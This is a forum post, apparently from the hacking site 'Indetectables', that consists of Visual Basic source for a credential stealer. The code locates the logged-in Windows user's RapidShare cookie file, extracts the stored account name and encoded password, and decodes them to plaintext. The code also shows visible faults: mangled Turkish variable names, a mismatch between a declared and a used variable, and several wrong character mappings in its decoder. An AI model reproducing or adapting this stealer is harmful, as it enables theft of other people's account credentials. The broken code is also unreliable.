Indetectables

Código: Seleccionar todo

'coded by who!
'www.tr0jan.net
'coded in TURKEY!

Function Kir(giris As String) As String
Dim parcala() As String
Dim sayac As Integer
Dim karakter As String
Dim sifre As String
sifre = ""
parcala() = Split(giris, "%")
For sayac = 0 To UBound(parcala)
    Select Case parcala(sayac)
        Case "61": karakter = "a": Case "62": karakter = "b": Case "63": karakter = "c": Case "64": karakter = "d"
        Case "65": karakter = "e": Case "66": karakter = "f": Case "67": karakter = "g": Case "68": karakter = "h"
        Case "69": karakter = "i": Case "6A": karakter = "j": Case "6B": karakter = "k": Case "6C": karakter = "l"
        Case "6D": karakter = "m": Case "6E": karakter = "n": Case "6F": karakter = "o": Case "70": karakter = "p"
        Case "71": karakter = "q": Case "72": karakter = "r": Case "73": karakter = "s": Case "74": karakter = "t"
        Case "75": karakter = "u": Case "76": karakter = "v": Case "77": karakter = "w": Case "78": karakter = "x"
        Case "79": karakter = "y": Case "7A": karakter = "z": Case "7B": karakter = "{": Case "7C": karakter = "|"
        Case "7D": karakter = "}": Case "7E": karakter = "~": Case "40": karakter = "@": Case "41": karakter = "A"
        Case "42": karakter = "B": Case "43": karakter = "C": Case "44": karakter = "D": Case "45": karakter = "E"
        Case "46": karakter = "F": Case "47": karakter = "G": Case "48": karakter = "H": Case "49": karakter = "I"
        Case "4A": karakter = "J": Case "4B": karakter = "K": Case "4C": karakter = "L": Case "4D": karakter = "M"
        Case "4E": karakter = "N": Case "4F": karakter = "O": Case "50": karakter = "P": Case "51": karakter = "Q"
        Case "52": karakter = "R": Case "53": karakter = "S": Case "54": karakter = "T": Case "55": karakter = "U"
        Case "56": karakter = "V": Case "57": karakter = "W": Case "58": karakter = "X": Case "59": karakter = "Y"
        Case "5A": karakter = "Z": Case "5B": karakter = "(": Case "5C": karakter = "\\)": Case "5D": karakter = ")"
        Case "5E": karakter = "^": Case "5F": karakter = "_": Case "21": karakter = "!": Case "22": karakter = """)"
        Case "23": karakter = "": Case "24": karakter = "$": Case "25": karakter = "%": Case "26": karakter = "&"
        Case "27": karakter = "#": Case "28": karakter = "(": Case "29": karakter = ")": Case "2A": karakter = "*"
        Case "2B": karakter = "+": Case "2C": karakter = ",": Case "2D": karakter = "-": Case "2E": karakter = "."
        Case "2F": karakter = "/": Case "30": karakter = "0": Case "31": karakter = "1": Case "32": karakter = "2"
        Case "33": karakter = "3": Case "34": karakter = "4": Case "35": karakter = "5": Case "36": karakter = "6"
        Case "37": karakter = "7": Case "38": karakter = "8": Case "39": karakter = "9": Case "3A": karakter = ":"
        Case "3B": karakter = "": Case "3C": karakter = "<": Case "3D": karakter = "=": Case "3E": karakter = ">"
        Case "3F": karakter = "?"
   End Select
   sifre = sifre & karakter
Next
Kir = sifre
End Function

Function SifreyiGetir() As String
 Dim Okunan As String, Kullan?c?Adi As String, Sifre As String, DosyaAdi As String
 
 
 'FOR WISTA PATH
 DosyaAdi = Environ("userprofile") + "\AppData\Roaming\Microsoft\Windows\Cookies\" + Environ("username") + "@rapidshare[1].txt"
 
 'FOR WIN XP PATH
 'DosyaAdi = Environ("userprofile") + "Cookies" + Environ("Username") + "@rapidshare[1].txt"
 If Dir(DosyaAdi) <> "" Then

  Okunan = DosyaOku(DosyaAdi)
  Okunan = Right(Okunan, Len(Okunan) - 5)
  Kullan?c?Adi = Mid(Okunan, 1, InStr(1, Okunan, "-") - 1)
  Okunan = Mid(Okunan, InStr(1, Okunan, "-") + 1, InStr(1, Okunan, UCase("RAPID"), vbTextCompare) - 9)
  Sifre = Kir(Okunan)
  SifreyiGetir = "Kullanici Adi : " & KullaniciAdi & vbCrLf & "Sifre : " & Sifre
 End If
End Function

Function DosyaOku(dosya As String) As String
Dim Okunan As String
DosyaOku = ""
Okunan = ""
    Open dosya For Input As #1
        Do While Not EOF(1)
   Line Input #1, Okunan
   DosyaOku = DosyaOku & Okunan
        Loop
    Close #1
End Function